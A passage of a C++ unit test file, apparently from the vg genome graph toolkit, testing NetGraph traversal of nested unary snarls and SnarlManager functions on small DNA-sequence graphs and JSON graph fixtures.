REQUIRE(seen.count(net_graph.get_handle(n1->id(), false)) == 1);
REQUIRE(seen.count(net_graph.get_handle(n8->id(), true)) == 1);
}
SECTION( "Forward handle sees 1 rev and 8 fwd on its right" ) {
unordered_set<handle_t> seen;
net_graph.follow_edges(nested_fwd, false, [&](const handle_t& other) {
seen.insert(other);
});
REQUIRE(seen.size() == 2);
REQUIRE(seen.count(net_graph.get_handle(n1->id(), true)) == 1);
REQUIRE(seen.count(net_graph.get_handle(n8->id(), false)) == 1);
}
SECTION( "Reverse handle sees 1 fwd and 8 rev on its left" ) {
unordered_set<handle_t> seen;
net_graph.follow_edges(nested_rev, true, [&](const handle_t& other) {
seen.insert(other);
});
REQUIRE(seen.size() == 2);
REQUIRE(seen.count(net_graph.get_handle(n1->id(), false)) == 1);
REQUIRE(seen.count(net_graph.get_handle(n8->id(), true)) == 1);
}
SECTION( "Reverse handle sees 1 rev and 8 fwd on its right" ) {
unordered_set<handle_t> seen;
net_graph.follow_edges(nested_rev, false, [&](const handle_t& other) {
seen.insert(other);
});
REQUIRE(seen.size() == 2);
REQUIRE(seen.count(net_graph.get_handle(n1->id(), true)) == 1);
REQUIRE(seen.count(net_graph.get_handle(n8->id(), false)) == 1);
}
}
TEST_CASE( "NetGraph can handle nested unary snarls",
"[snarls][netgraph]" ) {
// This graph will have a snarl from 1 to 8, a nested unary snarl on 2, and a nested unary snarl on 4.
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n4);
Edge* e3 = graph.create_edge(n1, n8);
Edge* e4 = graph.create_edge(n2, n3);
Edge* e5 = graph.create_edge(n4, n5);
Edge* e6 = graph.create_edge(n4, n6);
Edge* e7 = graph.create_edge(n5, n7);
Edge* e8 = graph.create_edge(n6, n7);
Edge* e9 = graph.create_edge(n7, n7, false, true);
Edge* e10 = graph.create_edge(n8, n4, true, false);
Edge* e11 = graph.create_edge(n8, n2, true, false);
// Define the snarls for the top level
Snarl top_snarl;
top_snarl.mutable_start()->set_node_id(n1->id());
top_snarl.mutable_end()->set_node_id(n8->id());
// We have no chains
vector<vector<Snarl>> top_chains;
// We havetwo child unary snarls.
vector<Snarl> top_unary_snarls;
top_unary_snarls.emplace_back();
auto& nested_snarl1 = top_unary_snarls.back();
// The first one is a tip of nodes 2 and 3, based at node 2
nested_snarl1.mutable_start()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_backward(true);
nested_snarl1.set_type(UNARY);
*nested_snarl1.mutable_parent() = top_snarl;
nested_snarl1.set_directed_acyclic_net_graph(true);
// We aren't actually traversable at all
nested_snarl1.set_start_self_reachable(false);
nested_snarl1.set_end_self_reachable(false);
nested_snarl1.set_start_end_reachable(false);
top_unary_snarls.emplace_back();
auto& nested_snarl2 = top_unary_snarls.back();
// The second one is a big assemblage rooted at 4 with a child snarl and a reversing edge in it.
nested_snarl2.mutable_start()->set_node_id(n4->id());
nested_snarl2.mutable_end()->set_node_id(n4->id());
nested_snarl2.mutable_end()->set_backward(true);
nested_snarl2.set_type(UNARY);
*nested_snarl2.mutable_parent() = top_snarl;
// The reversal is actually in a child unary snarl.
nested_snarl2.set_directed_acyclic_net_graph(true);
// We are traversable in all directions
nested_snarl2.set_start_self_reachable(true);
nested_snarl2.set_end_self_reachable(true);
nested_snarl2.set_start_end_reachable(true);
SECTION( "A connectivity-ignoring net graph ignores connectivity" ) {
// Make a net graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, false);
SECTION( "The top-level NetGraph has 4 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 4);
SECTION( "The nodes are numbered 1, 2, 4, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(4, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 5 edges" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 2, 4, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
#ifdef debug
for (auto& edge : edges) {
cerr << net_graph.get_id(edge.first) << " " << net_graph.get_is_reverse(edge.first) << " -> "
<< net_graph.get_id(edge.second) << " " << net_graph.get_is_reverse(edge.second) << endl;
}
#endif
REQUIRE(edges.size() == 5);
// The edges are 1 to 8, 1 to 2, 1 to 4, 2 rev to 8, and 4 rev to 8.
SECTION( "All of the expected edges exist" ) {
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(1, false),
net_graph.get_handle(8, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(1, false),
net_graph.get_handle(2, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(1, false),
net_graph.get_handle(4, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(2, true),
net_graph.get_handle(8, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(4, true),
net_graph.get_handle(8, false))) == 1);
}
}
}
SECTION( "A connectivity-respecting net graph respects connectivity" ) {
// Make a net graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, true);
SECTION( "The top-level NetGraph has 4 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 4);
SECTION( "The nodes are numbered 1, 2, 4, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(4, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 5 edges when looking at its ends" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
#ifdef debug
for (auto& edge : edges) {
cerr << net_graph.get_id(edge.first) << " " << net_graph.get_is_reverse(edge.first) << " -> "
<< net_graph.get_id(edge.second) << " " << net_graph.get_is_reverse(edge.second) << endl;
}
#endif
REQUIRE(edges.size() == 5);
// The edges are 1 to 8, 1 to 2, 1 to 4, 2 rev to 8, and 4 rev to 8.
SECTION( "All of the expected edges exist" ) {
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(1, false),
net_graph.get_handle(8, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(1, false),
net_graph.get_handle(2, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(1, false),
net_graph.get_handle(4, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(2, true),
net_graph.get_handle(8, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(4, true),
net_graph.get_handle(8, false))) == 1);
}
}
SECTION( "The top-level NetGraph only has edges for the connected child when looking at its child snarls" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {2, 4}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
#ifdef debug
for (auto& edge : edges) {
cerr << net_graph.get_id(edge.first) << " " << net_graph.get_is_reverse(edge.first) << " -> "
<< net_graph.get_id(edge.second) << " " << net_graph.get_is_reverse(edge.second) << endl;
}
#endif
// We ignore the edges we would get if we could do a real
// predecessor lookup. In this mode we only allow real
// traversals, so looking left from entering the unary snarl
// gives you nothing, not the edges you could have come from.
REQUIRE(edges.size() == 2);
// The edges are the fake traversal-allowing ones: 4 forward to 8 forward, and 4 forward to 1 reverse.
SECTION( "All of the expected edges exist" ) {
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(4, false),
net_graph.get_handle(8, false))) == 1);
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(4, false),
net_graph.get_handle(1, true))) == 1);
}
}
}
}
TEST_CASE( "NetGraph can find hard-to-reach snarl contents",
"[snarls][netgraph]" ) {
// This graph will have a snarl from 1 to 8, a nested unary snarl on 2, and a nested unary snarl on 4.
// Node 3 will be attached only through these non-traversable unary snarls.
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n4);
Edge* e3 = graph.create_edge(n1, n8);
Edge* e4 = graph.create_edge(n3, n2);
Edge* e5 = graph.create_edge(n4, n5);
Edge* e6 = graph.create_edge(n4, n6);
Edge* e7 = graph.create_edge(n5, n7);
Edge* e8 = graph.create_edge(n6, n7);
Edge* e9 = graph.create_edge(n8, n4, true, false);
Edge* e10 = graph.create_edge(n3, n4);
// Define the snarls for the top level
Snarl top_snarl;
top_snarl.mutable_start()->set_node_id(n1->id());
top_snarl.mutable_end()->set_node_id(n8->id());
// We have no chains
vector<vector<Snarl>> top_chains;
// We havetwo child unary snarls.
vector<Snarl> top_unary_snarls;
top_unary_snarls.emplace_back();
auto& nested_snarl1 = top_unary_snarls.back();
// The first one is a tip of just node 2, based at node 2
nested_snarl1.mutable_start()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_backward(true);
nested_snarl1.set_type(UNARY);
*nested_snarl1.mutable_parent() = top_snarl;
nested_snarl1.set_directed_acyclic_net_graph(true);
// We aren't actually traversable at all
nested_snarl1.set_start_self_reachable(false);
nested_snarl1.set_end_self_reachable(false);
nested_snarl1.set_start_end_reachable(false);
top_unary_snarls.emplace_back();
auto& nested_snarl2 = top_unary_snarls.back();
// The second one is a big assemblage rooted at 4 that also isn't traversable
nested_snarl2.mutable_start()->set_node_id(n4->id());
nested_snarl2.mutable_end()->set_node_id(n4->id());
nested_snarl2.mutable_end()->set_backward(true);
nested_snarl2.set_type(UNARY);
*nested_snarl2.mutable_parent() = top_snarl;
nested_snarl2.set_directed_acyclic_net_graph(true);
// We aren't actually traversable at all
nested_snarl2.set_start_self_reachable(false);
nested_snarl2.set_end_self_reachable(false);
nested_snarl2.set_start_end_reachable(false);
SECTION( "A connectivity-ignoring net graph lets you find all the nodes" ) {
// Make a net graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, false);
SECTION( "The top-level NetGraph has 5 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 5);
}
}
SECTION( "A connectivity-respecting net graph still lets you find all the nodes" ) {
// Make a net graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, true);
SECTION( "The top-level NetGraph has 5 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 5);
}
}
}
TEST_CASE( "SnarlManager functions return expected answers",
"[sites][snarls]" ) {
SECTION( "SnarlManager can be constructed with cactus ultrabubbles") {
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
graph.create_edge(n1, n2);
graph.create_edge(n1, n3);
graph.create_edge(n2, n4);
graph.create_edge(n3, n4);
CactusSnarlFinder bubble_finder(graph);
SnarlManager snarl_manager = bubble_finder.find_snarls();
}
SECTION( "SnarlManager can correctly navigate tree relationships") {
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n6);
Edge* e5 = graph.create_edge(n3, n4);
Edge* e6 = graph.create_edge(n3, n5);
Edge* e7 = graph.create_edge(n4, n5);
Edge* e8 = graph.create_edge(n5, n7);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
CactusSnarlFinder bubble_finder(graph);
SnarlManager snarl_manager = bubble_finder.find_snarls();
const vector<const Snarl*>& top_level_snarls = snarl_manager.top_level_snarls();
REQUIRE(top_level_snarls.size() == 1);
bool top_level_correct = ((top_level_snarls[0]->start().node_id() == n1->id() &&
top_level_snarls[0]->end().node_id() == n8->id() &&
!top_level_snarls[0]->start().backward() &&
!top_level_snarls[0]->end().backward()) ||
(top_level_snarls[0]->start().node_id() == n8->id() &&
top_level_snarls[0]->end().node_id() == n1->id() &&
top_level_snarls[0]->start().backward() &&
top_level_snarls[0]->end().backward()));
REQUIRE(top_level_correct);
const vector<const Snarl*>& middle_level_snarls = snarl_manager.children_of(top_level_snarls[0]);
REQUIRE(middle_level_snarls.size() == 1);
bool middle_level_correct = ((middle_level_snarls[0]->start().node_id() == n2->id() &&
middle_level_snarls[0]->end().node_id() == n7->id() &&
!middle_level_snarls[0]->start().backward() &&
!middle_level_snarls[0]->end().backward()) ||
(middle_level_snarls[0]->start().node_id() == n7->id() &&
middle_level_snarls[0]->end().node_id() == n2->id() &&
middle_level_snarls[0]->start().backward() &&
middle_level_snarls[0]->end().backward()));
REQUIRE(middle_level_correct);
const vector<const Snarl*>& bottom_level_snarls = snarl_manager.children_of(middle_level_snarls[0]);
REQUIRE(bottom_level_snarls.size() == 1);
bool bottom_level_correct = ((bottom_level_snarls[0]->start().node_id() == n3->id() &&
bottom_level_snarls[0]->end().node_id() == n5->id() &&
!bottom_level_snarls[0]->start().backward() &&
!bottom_level_snarls[0]->end().backward()) ||
(bottom_level_snarls[0]->start().node_id() == n5->id() &&
bottom_level_snarls[0]->end().node_id() == n3->id() &&
bottom_level_snarls[0]->start().backward() &&
bottom_level_snarls[0]->end().backward()));
REQUIRE(bottom_level_correct);
}
SECTION( "SnarlManager can correctly extract the shallow contents of a snarl") {
VG graph;
Node* n0 = graph.create_node("CA");
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("C");
Node* n3 = graph.create_node("A");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("AGTA");
Node* n9 = graph.create_node("CCC");
Edge* e0 = graph.create_edge(n0, n1);
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n6);
Edge* e5 = graph.create_edge(n3, n4);
Edge* e6 = graph.create_edge(n3, n5);
Edge* e7 = graph.create_edge(n4, n5);
Edge* e8 = graph.create_edge(n5, n7);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
Edge* e11 = graph.create_edge(n8, n9);
CactusSnarlFinder bubble_finder(graph);
SnarlManager snarl_manager = bubble_finder.find_snarls();
const vector<const Snarl*>& top_level_snarls = snarl_manager.top_level_snarls();
pair<unordered_set<Node*>, unordered_set<Edge*> > contents;
for (const Snarl* snarl : top_level_snarls) {
if ((snarl->start().node_id() == n1->id() && snarl->end().node_id() == n8->id()) ||
(snarl->start().node_id() == n8->id() && snarl->end().node_id() == n1->id())) {
contents = snarl_manager.shallow_contents(snarl, graph, false);
break;
}
}
unordered_set<Node*>& nodes = contents.first;
unordered_set<Edge*>& edges = contents.second;
REQUIRE(nodes.size() == 2);
REQUIRE(nodes.count(n2));
REQUIRE(nodes.count(n7));
REQUIRE(edges.size() == 3);
REQUIRE(edges.count(e1));
REQUIRE(edges.count(e2));
REQUIRE(edges.count(e10));
}
SECTION( "SnarlManager can correctly extract the full contents of a snarl") {
VG graph;
Node* n0 = graph.create_node("CA");
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("C");
Node* n3 = graph.create_node("A");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("AGTA");
Node* n9 = graph.create_node("CCC");
Edge* e0 = graph.create_edge(n0, n1);
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n6);
Edge* e5 = graph.create_edge(n3, n4);
Edge* e6 = graph.create_edge(n3, n5);
Edge* e7 = graph.create_edge(n4, n5);
Edge* e8 = graph.create_edge(n5, n7);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
Edge* e11 = graph.create_edge(n8, n9);
CactusSnarlFinder bubble_finder(graph);
SnarlManager snarl_manager = bubble_finder.find_snarls();
const vector<const Snarl*>& top_level_snarls = snarl_manager.top_level_snarls();
pair<unordered_set<Node*>, unordered_set<Edge*> > contents;
for (const Snarl* snarl : top_level_snarls) {
if ((snarl->start().node_id() == n1->id() && snarl->end().node_id() == n8->id()) ||
(snarl->start().node_id() == n8->id() && snarl->end().node_id() == n1->id())) {
contents = snarl_manager.deep_contents(snarl, graph, false);
break;
}
}
unordered_set<Node*>& nodes = contents.first;
unordered_set<Edge*>& edges = contents.second;
REQUIRE(nodes.size() == 6);
REQUIRE(nodes.count(n2));
REQUIRE(nodes.count(n3));
REQUIRE(nodes.count(n4));
REQUIRE(nodes.count(n5));
REQUIRE(nodes.count(n6));
REQUIRE(nodes.count(n7));
REQUIRE(edges.size() == 10);
REQUIRE(edges.count(e1));
REQUIRE(edges.count(e2));
REQUIRE(edges.count(e3));
REQUIRE(edges.count(e4));
REQUIRE(edges.count(e5));
REQUIRE(edges.count(e6));
REQUIRE(edges.count(e7));
REQUIRE(edges.count(e8));
REQUIRE(edges.count(e9));
REQUIRE(edges.count(e10));
}
SECTION( "SnarlManager can correctly extract the shallow contents of a snarl containing cycles and tips") {
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("C");
Node* n3 = graph.create_node("A");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("AGTA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n2, n7);
Edge* e3 = graph.create_edge(n2, n4);
Edge* e4 = graph.create_edge(n3, n4);
Edge* e5 = graph.create_edge(n4, n5);
Edge* e6 = graph.create_edge(n4, n6);
Edge* e7 = graph.create_edge(n5, n6);
Edge* e8 = graph.create_edge(n6, n2, false, true);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
Snarl snarl1;
snarl1.mutable_start()->set_node_id(n2->id());
snarl1.mutable_end()->set_node_id(n7->id());
snarl1.set_type(UNCLASSIFIED);
Snarl snarl2;
snarl2.mutable_start()->set_node_id(n4->id());
snarl2.mutable_end()->set_node_id(n6->id());
snarl2.set_type(ULTRABUBBLE);
*snarl2.mutable_parent() = snarl1;
list<Snarl> snarls;
snarls.push_back(snarl1);
snarls.push_back(snarl2);
SnarlManager snarl_manager(snarls.begin(), snarls.end());
const vector<const Snarl*>& top_level_snarls = snarl_manager.top_level_snarls();
pair<unordered_set<Node*>, unordered_set<Edge*> > contents;
for (const Snarl* snarl : top_level_snarls) {
if ((snarl->start().node_id() == n2->id() && snarl->end().node_id() == n7->id()) ||
(snarl->start().node_id() == n7->id() && snarl->end().node_id() == n2->id())) {
contents = snarl_manager.shallow_contents(snarl, graph, false);
break;
}
}
unordered_set<Node*>& nodes = contents.first;
unordered_set<Edge*>& edges = contents.second;
REQUIRE(nodes.size() == 3);
REQUIRE(nodes.count(n3));
REQUIRE(nodes.count(n4));
REQUIRE(nodes.count(n6));
REQUIRE(edges.size() == 5);
REQUIRE(edges.count(e2));
REQUIRE(edges.count(e3));
REQUIRE(edges.count(e4));
REQUIRE(edges.count(e8));
REQUIRE(edges.count(e9));
}
SECTION( "SnarlManager can correctly extract the full contents of a snarl containing cycles and tips") {
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("C");
Node* n3 = graph.create_node("A");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("AGTA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n2, n7);
Edge* e3 = graph.create_edge(n2, n4);
Edge* e4 = graph.create_edge(n3, n4);
Edge* e5 = graph.create_edge(n4, n5);
Edge* e6 = graph.create_edge(n4, n6);
Edge* e7 = graph.create_edge(n5, n6);
Edge* e8 = graph.create_edge(n6, n2, false, true);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
Snarl snarl1;
snarl1.mutable_start()->set_node_id(n2->id());
snarl1.mutable_end()->set_node_id(n7->id());
snarl1.set_type(UNCLASSIFIED);
Snarl snarl2;
snarl2.mutable_start()->set_node_id(n4->id());
snarl2.mutable_end()->set_node_id(n6->id());
snarl2.set_type(ULTRABUBBLE);
*snarl2.mutable_parent() = snarl1;
list<Snarl> snarls;
snarls.push_back(snarl1);
snarls.push_back(snarl2);
SnarlManager snarl_manager(snarls.begin(), snarls.end());
const vector<const Snarl*>& top_level_snarls = snarl_manager.top_level_snarls();
pair<unordered_set<Node*>, unordered_set<Edge*> > contents;
for (const Snarl* snarl : top_level_snarls) {
if ((snarl->start().node_id() == n2->id() && snarl->end().node_id() == n7->id()) ||
(snarl->start().node_id() == n7->id() && snarl->end().node_id() == n2->id())) {
contents = snarl_manager.deep_contents(snarl, graph, false);
break;
}
}
unordered_set<Node*>& nodes = contents.first;
unordered_set<Edge*>& edges = contents.second;
REQUIRE(nodes.size() == 4);
REQUIRE(nodes.count(n3));
REQUIRE(nodes.count(n4));
REQUIRE(nodes.count(n5));
REQUIRE(nodes.count(n6));
REQUIRE(edges.size() == 8);
REQUIRE(edges.count(e2));
REQUIRE(edges.count(e3));
REQUIRE(edges.count(e4));
REQUIRE(edges.count(e5));
REQUIRE(edges.count(e6));
REQUIRE(edges.count(e7));
REQUIRE(edges.count(e8));
REQUIRE(edges.count(e9));
}
SECTION( "SnarlManager can flip the internal representation of a snarl") {
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("C");
Node* n3 = graph.create_node("A");
Node* n4 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n3);
Edge* e3 = graph.create_edge(n2, n4);
Edge* e4 = graph.create_edge(n3, n4);
Snarl snarl;
snarl.mutable_start()->set_node_id(n1->id());
snarl.mutable_end()->set_node_id(n4->id());
snarl.set_type(ULTRABUBBLE);
list<Snarl> snarls;
snarls.push_back(snarl);
SnarlManager snarl_manager(snarls.begin(), snarls.end());
const Snarl* snarl_ref = snarl_manager.top_level_snarls()[0];
auto id_start = snarl_ref->start().node_id();
auto id_end = snarl_ref->end().node_id();
snarl_manager.flip(snarl_ref);
REQUIRE(snarl_ref->start().node_id() == id_end);
REQUIRE(snarl_ref->end().node_id() == id_start);
}
SECTION( "SnarlManager can create boundary indices") {
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("C");
Node* n3 = graph.create_node("A");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("AGTA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n2, n7);
Edge* e3 = graph.create_edge(n2, n4);
Edge* e4 = graph.create_edge(n3, n4);
Edge* e5 = graph.create_edge(n4, n5);
Edge* e6 = graph.create_edge(n4, n6);
Edge* e7 = graph.create_edge(n5, n6);
Edge* e8 = graph.create_edge(n6, n2, false, true);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
Snarl snarl1;
snarl1.mutable_start()->set_node_id(n2->id());
snarl1.mutable_end()->set_node_id(n7->id());
snarl1.set_type(UNCLASSIFIED);
Snarl snarl2;
snarl2.mutable_start()->set_node_id(n4->id());
snarl2.mutable_end()->set_node_id(n6->id());
snarl2.set_type(ULTRABUBBLE);
*snarl2.mutable_parent() = snarl1;
list<Snarl> snarls;
snarls.push_back(snarl1);
snarls.push_back(snarl2);
SnarlManager snarl_manager(snarls.begin(), snarls.end());
for (Snarl snarl : snarls) {
const Snarl* from_start = snarl_manager.into_which_snarl(snarl.start().node_id(),
snarl.start().backward());
const Snarl* from_end = snarl_manager.into_which_snarl(snarl.end().node_id(),
!snarl.end().backward());
REQUIRE(from_start != nullptr);
REQUIRE(from_end != nullptr);
REQUIRE(from_start->start().node_id() == snarl.start().node_id());
REQUIRE(from_start->start().backward() == snarl.start().backward());
REQUIRE(from_start->end().node_id() == snarl.end().node_id());
REQUIRE(from_start->end().backward() == snarl.end().backward());
REQUIRE(from_end->start().node_id() == snarl.start().node_id());
REQUIRE(from_end->start().backward() == snarl.start().backward());
REQUIRE(from_end->end().node_id() == snarl.end().node_id());
REQUIRE(from_end->end().backward() == snarl.end().backward());
}
}
SECTION( "SnarlManager can correctly extract the full contents of a reversing-edge snarl") {
string graph_json = R"(
{
"node": [
{
"sequence": "TTTTTG",
"id": 6462830
},
{
"sequence": "AAAAAAAAAAAAAA",
"id": 8480141
},
{
"sequence": "A",
"id": 6462831
},
{
"sequence": "T",
"id": 6462832
},
{
"sequence": "G",
"id": 8480142
},
{
"sequence": "A",
"id": 8480143
}
],
"edge": [
{
"to": 8480141,
"from": 6462830,
"from_start": true
},
{
"to": 6462831,
"from": 6462830
},
{
"to": 6462832,
"from": 6462830
},
{
"to": 8480142,
"from": 8480141
},
{
"to": 8480143,
"from": 8480141
}
]
}
)";
VG graph;
// Load up the graph
Graph g;
json2pb(g, graph_json.c_str(), graph_json.size());
graph.extend(g);
// Define the one snarl
Snarl snarl1;
snarl1.mutable_start()->set_node_id(6462830);
snarl1.mutable_start()->set_backward(true);
snarl1.mutable_end()->set_node_id(8480141);
snarl1.set_type(ULTRABUBBLE);
list<Snarl> snarls;
snarls.push_back(snarl1);
SnarlManager snarl_manager(snarls.begin(), snarls.end());
// Find the snarl again
const Snarl* snarl = snarl_manager.top_level_snarls()[0];
// Get its contents
pair<unordered_set<Node*>, unordered_set<Edge*> > contents = snarl_manager.deep_contents(snarl, graph, true);
// We need the right snarl
REQUIRE(snarl->start().node_id() == 6462830);
REQUIRE(snarl->start().backward());
REQUIRE(snarl->end().node_id() == 8480141);
REQUIRE(!snarl->end().backward());
// And it needs to contain just those two nodes and the edges connecting them.
REQUIRE(contents.first.size() == 2);
REQUIRE(contents.second.size() == 1);
}
SECTION( "SnarlManager does not include child snarls' edges in parent snarls") {
// This graph is 3 nodes in a row, with two anchoring nodes on
// the end, and an edge deleting the three in the middle and
// just linking the anchoring nodes.
string graph_json = R"(
{
"node": [
{
"sequence": "A",
"id": 178895
},
{
"sequence": "G",
"id": 178896
},
{
"sequence": "A",
"id": 187209
},
{
"sequence": "TCTCAAAAAAAAAAAAAAAAAAAAAAAAAA",
"id": 178894
},
{
"sequence": "AATGTGTCTTCCTGGGT",
"id": 187208
}
],
"edge": [
{
"from": 187209,
"to": 178895
},
{
"from": 178895,
"to": 178896
},
{
"from": 178896,
"to": 187208
},
{
"from": 178894,
"to": 187209
},
{
"from": 178894,
"to": 187208
}
],
"path": [
{
"name": "5",
"mapping": [
{
"position": {
"node_id": 178894
},
"rank": 98372
},
{
"position": {
"node_id": 187209
},
"rank": 98373
},
{
"position": {
"node_id": 178895
},
"rank": 98374
},
{
"position": {
"node_id": 178896
},
"rank": 98375
},
{
"position": {
"node_id": 187208
},
"rank": 98376
}
]
}
]
}
)";
// We have one parent snarl for the deletion, with two back-to-back trivial child snarls.
string snarl1_json = R"({"type": 1, "end": {"node_id": 187208}, "start": {"node_id": 178894}})";
